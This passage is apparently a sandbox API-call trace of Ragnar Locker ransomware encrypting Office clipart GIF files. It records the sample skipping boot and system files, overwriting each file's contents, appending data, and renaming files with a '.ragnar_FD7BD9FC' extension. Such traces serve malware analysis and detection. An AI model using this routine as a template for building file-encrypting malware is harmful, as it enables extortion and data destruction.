(pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF") returned=".GIF" [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="autorun.inf") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="boot.ini") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="bootfont.bin") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="bootsect.bak") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="bootmgr") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="bootmgr.efi") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="desktop.ini") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="iconcache.db") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="ntldr") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="ntuser.dat") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="ntuser.ini") returned 1 [0092.741] lstrcmpiW (lpString1="WB01238_.GIF", lpString2="thumbs.db") returned 1 [0092.741] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.741] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.741] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.742] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.742] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.742] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.742] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif")) returned 0x20 [0092.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.742] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=359) returned 1 [0092.742] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.742] GetProcessHeap () returned 0x580000 [0092.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.742] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.743] VirtualAlloc (lpAddress=0x0, dwSize=0x167, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.743] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x167, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x167, lpOverlapped=0x0) returned 1 [0092.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.743] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x167, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.744] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x167, lpOverlapped=0x0) returned 1 [0092.744] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x167, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.744] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x167, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.744] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.744] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.744] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.744] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.744] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.744] GetProcessHeap () returned 0x580000 [0092.744] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.744] CloseHandle (hObject=0xf4) returned 1 [0092.744] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" [0092.744] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.ragnar_FD7BD9FC" [0092.745] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.746] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa57200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbfa57200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01239_.GIF", cAlternateFileName="")) returned 1 [0092.746] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.746] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01239_.GIF" | out: lpString1="WB01239_.GIF") returned="WB01239_.GIF" [0092.746] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF") returned=".GIF" [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="autorun.inf") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="boot.ini") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="bootfont.bin") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="bootsect.bak") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="bootmgr") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="bootmgr.efi") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="desktop.ini") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="iconcache.db") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="ntldr") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="ntuser.dat") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="ntuser.ini") returned 1 [0092.746] lstrcmpiW (lpString1="WB01239_.GIF", lpString2="thumbs.db") returned 1 [0092.746] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.746] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.746] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.746] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.746] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.746] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.746] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif")) returned 0x20 [0092.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.747] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=410) returned 1 [0092.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x191, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.747] GetProcessHeap () returned 0x580000 [0092.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.747] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.748] VirtualAlloc (lpAddress=0x0, dwSize=0x19a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.748] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x19a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x19a, lpOverlapped=0x0) returned 1 [0092.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.748] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19a, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.748] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x19a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x19a, lpOverlapped=0x0) returned 1 [0092.748] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.748] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.749] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.749] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.749] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.749] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.749] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.749] GetProcessHeap () returned 0x580000 [0092.749] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.749] CloseHandle (hObject=0xf4) returned 1 [0092.749] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" [0092.749] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.ragnar_FD7BD9FC" [0092.749] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.750] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d80d00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1d80d00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01240_.GIF", cAlternateFileName="")) returned 1 [0092.751] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.751] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01240_.GIF" | out: lpString1="WB01240_.GIF") returned="WB01240_.GIF" [0092.751] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF") returned=".GIF" [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="autorun.inf") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="boot.ini") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="bootfont.bin") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="bootsect.bak") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="bootmgr") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="bootmgr.efi") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="desktop.ini") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="iconcache.db") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="ntldr") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="ntuser.dat") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="ntuser.ini") returned 1 [0092.751] lstrcmpiW (lpString1="WB01240_.GIF", lpString2="thumbs.db") returned 1 [0092.751] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.751] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.751] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.751] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.751] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.751] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.751] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif")) returned 0x20 [0092.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.752] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=333) returned 1 [0092.752] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.752] GetProcessHeap () returned 0x580000 [0092.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.752] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.753] VirtualAlloc (lpAddress=0x0, dwSize=0x14d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.753] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.753] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.753] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x14d, lpOverlapped=0x0) returned 1 [0092.753] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.753] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14d, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.753] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x14d, lpOverlapped=0x0) returned 1 [0092.753] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.753] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.754] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.754] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.754] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.754] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.754] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.754] GetProcessHeap () returned 0x580000 [0092.754] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.754] CloseHandle (hObject=0xf4) returned 1 [0092.754] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" [0092.754] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.ragnar_FD7BD9FC" [0092.754] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.755] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866d0200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x866d0200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01241_.GIF", cAlternateFileName="")) returned 1 [0092.755] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.755] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01241_.GIF" | out: lpString1="WB01241_.GIF") returned="WB01241_.GIF" [0092.755] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF") returned=".GIF" [0092.755] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.755] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="autorun.inf") returned 1 [0092.756] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="boot.ini") returned 1 [0092.756] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="bootfont.bin") returned 1 [0092.756] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="bootsect.bak") returned 1 [0092.756] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="bootmgr") returned 1 [0092.756] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="bootmgr.efi") returned 1 [0092.756] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.756] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="desktop.ini") returned 1 [0092.756] lstrcmpiW 